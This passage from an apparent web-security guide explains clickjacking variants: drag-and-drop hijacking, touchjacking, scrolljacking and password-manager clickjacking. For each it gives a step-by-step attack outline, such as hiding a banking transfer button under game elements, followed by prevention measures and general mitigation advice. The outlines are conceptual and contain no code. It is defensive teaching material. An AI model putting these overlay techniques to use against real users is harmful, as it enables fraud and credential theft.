Attack Scenario:

Attacker creates page with drag-and-drop interface
Embeds target site with sensitive drag-and-drop functionality
User drags visible elements
Drop action is forwarded to target site
Unauthorized action is executed

Process:

Attacker creates "File Organizer" application
Embeds file upload interface in transparent iframe
Positions upload drop zone under visible elements
User drags files to organize them
Files are actually dropped into upload interface
Files are uploaded to attacker's server
Attacker gains access to sensitive files

Prevention:

Drag-and-drop protection: Secure drag-and-drop interfaces
Input validation: Validate all drop targets
User confirmation: Require confirmation for file uploads
Visual feedback: Provide clear visual feedback for drops

3. Touchjacking (Mobile Clickjacking)

Technique: Exploiting touch events on mobile devices.

Attack Scenario:

Attacker creates mobile-optimized malicious page
Embeds target site with sensitive touch areas
User touches visible elements
Touch events are forwarded to target site
Unauthorized action is executed

Process:

Attacker creates "Mobile Game" application
Embeds banking app in transparent iframe
Positions "Transfer Money" button under game elements
User plays game and taps on elements
Taps are forwarded to banking app
Money is transferred to attacker's account
Attacker gains unauthorized funds

Prevention:

Mobile security: Implement mobile-specific protections
Touch event validation: Validate touch coordinates
Viewport controls: Control viewport settings
Mobile security headers: Implement mobile-specific headers

4. Scrolljacking

Technique: Hijacking scroll events to trigger actions.

Attack Scenario:

Attacker creates page with scrollable content
Embeds target site with sensitive areas
User scrolls through content
Scroll events trigger hidden actions
Unauthorized action is executed

Process:

Attacker creates "Long-form Article" page
Embeds social media buttons in transparent iframe
Positions buttons at specific scroll positions
User scrolls through article
When user reaches certain position, Like button is triggered
User unintentionally likes attacker's page
Attacker gains social media credibility

Prevention:

Scroll event protection: Secure scroll event handling
User confirmation: Require confirmation for sensitive actions
Visual feedback: Provide clear visual feedback
Behavioral analysis: Detect unusual scroll patterns

5. Password Manager Clickjacking

Technique: Exploiting browser password managers.

Attack Scenario:

Attacker creates login form
Embeds target site's login form in transparent iframe
User's password manager auto-fills credentials
Attacker captures credentials
Attacker gains access to user's accounts

Process:

Attacker creates "Account Verification" page
Embeds banking site's login form in transparent iframe
Positions fake login form over real form
User visits page and password manager auto-fills credentials
Credentials are captured by attacker's form
Attacker uses credentials to access user's bank account
Attacker steals funds or sensitive information

Prevention:

Password manager protection: Secure password manager integration
Auto-fill controls: Control auto-fill behavior
Form validation: Validate form origins
User confirmation: Require confirmation for sensitive forms

Clickjacking Mitigation Strategies

Defense in Depth Approach

Transport Layer:
- Always use HTTPS
- Implement HSTS
- Use secure protocols
Application Layer:
- Implement security headers
- Use frame busting scripts
- Validate all user input
- Implement user confirmation
Presentation Layer:
- Provide visual feedback
- Use secure UI patterns
- Implement behavioral analysis
- Educate users
Monitoring Layer:
- Log all sensitive actions
- Monitor for suspicious activity
- Alert on anomalies
- Implement incident response

Secure Development Lifecycle

Design Phase:
- Threat modeling for UI security
- Security requirements definition
- Secure architecture design
- User interaction analysis
Development Phase:
- Secure coding standards
- Code reviews
- Static analysis
- Dependency scanning
Testing Phase:
- Penetration testing
- Dynamic analysis
- Fuzz testing
- Vulnerability scanning
Deployment Phase:
- Secure configuration
- Security headers
- Monitoring setup
- Access controls
Maintenance Phase:
- Patch management
- Security updates
- Continuous monitoring
- Incident response

Emerging Technologies

AI-Powered Security:
- Behavioral analysis: Analyze user interaction patterns
- Anomaly detection: Detect unusual click behavior
- Automated response: Block suspicious actions
- Predictive security: Identify potential vulnerabilities
Browser Security Enhancements:
- Improved frame protections: Better frame isolation
- Enhanced CSP: More granular control
- Secure contexts: Better security boundaries
- User interaction validation: Validate user intent
Hardware-Based Security:
- Trusted execution environments: Secure sensitive operations
- Hardware tokens: Secure authentication
- Biometric verification: Additional authentication factors
- Secure input devices: Protected input mechanisms
Zero Trust Architecture:
- Continuous authentication: Authenticate every action
- Least privilege: Grant minimal necessary access
- Micro-segmentation: Isolate sensitive interfaces
- Continuous monitoring: Monitor all interactions
Blockchain-Based Security:
- Decentralized identity: Secure user identities
- Smart contracts: Secure transaction validation
- Immutable logs: Tamper-proof audit trails
- Consensus mechanisms: Secure decision making

Conclusion

Clickjacking represents one of the most deceptive and user-friendly web security vulnerabilities, enabling attackers to trick users into performing actions they never intended. Unlike many other web vulnerabilities that target technical weaknesses, clickjacking exploits human psychology and visual perception, making it particularly insidious and difficult to detect.

The unique characteristics of clickjacking make it especially dangerous:

User deception: Tricks users into performing actions unknowingly
Action hijacking: Executes unauthorized actions on behalf of users
Visual manipulation: Uses transparent or hidden layers to deceive
No direct data theft: Focuses on action execution rather than data extraction
Multiple attack vectors: Various methods to overlay malicious content
Difficult detection: Users often completely unaware of the attack
Wide impact: Can affect any web application with sensitive actions

Effective clickjacking prevention requires a comprehensive, multi-layered approach that addresses vulnerabilities at every level:

Security headers: Implement X-Frame-Options and Content Security Policy
Frame busting: Use JavaScript and meta tag frame busting techniques
User confirmation: Require explicit confirmation for sensitive actions
Input validation: Validate all user input and actions
Visual feedback: Provide clear visual indicators for sensitive operations
Behavioral analysis: Monitor for unusual click patterns
User education: Teach users about clickjacking risks
Security testing: Regular vulnerability scanning and penetration testing

As web technologies continue to evolve with new interaction patterns, mobile interfaces, and complex user experiences, the threat landscape for clickjacking will continue to expand. Developers, security professionals, and organizations must stay vigilant, keep learning, and implement comprehensive security measures to protect against these evolving threats.

The key to effective clickjacking prevention lies in secure design principles, defense-in-depth strategies, continuous monitoring, and user education. By understanding the mechanisms, techniques, and prevention methods of clickjacking, organizations can significantly reduce their risk and protect their users from these deceptive and damaging attacks.

Remember: Clickjacking is not just a technical vulnerability - it's a serious business and user protection issue that can lead to financial loss, reputational damage, regulatory fines, and loss of user trust. Taking clickjacking security seriously and implementing proper security controls at every layer is essential for protecting your organization, your users, your data, and your reputation.

The cost of prevention is always less than the cost of recovery - invest in clickjacking protection now to avoid catastrophic consequences later. Implement security headers, use frame busting techniques, require user confirmation, and deploy comprehensive security measures to protect against this pervasive threat.

User trust is your most valuable asset - don't let clickjacking attacks erode the trust your users have placed in your applications and services. Secure your interfaces, protect your users, and maintain the integrity of your digital presence in today's complex web landscape.

Certificate Transparency

Certificate Transparency is an open framework that monitors and audits digital certificates to prevent misissuance and enhance the security of the SSL/TLS ecosystem.

Content Security Policy (CSP)

A security layer that helps prevent cross-site scripting (XSS), data injection attacks, and other malicious content execution in web browsers.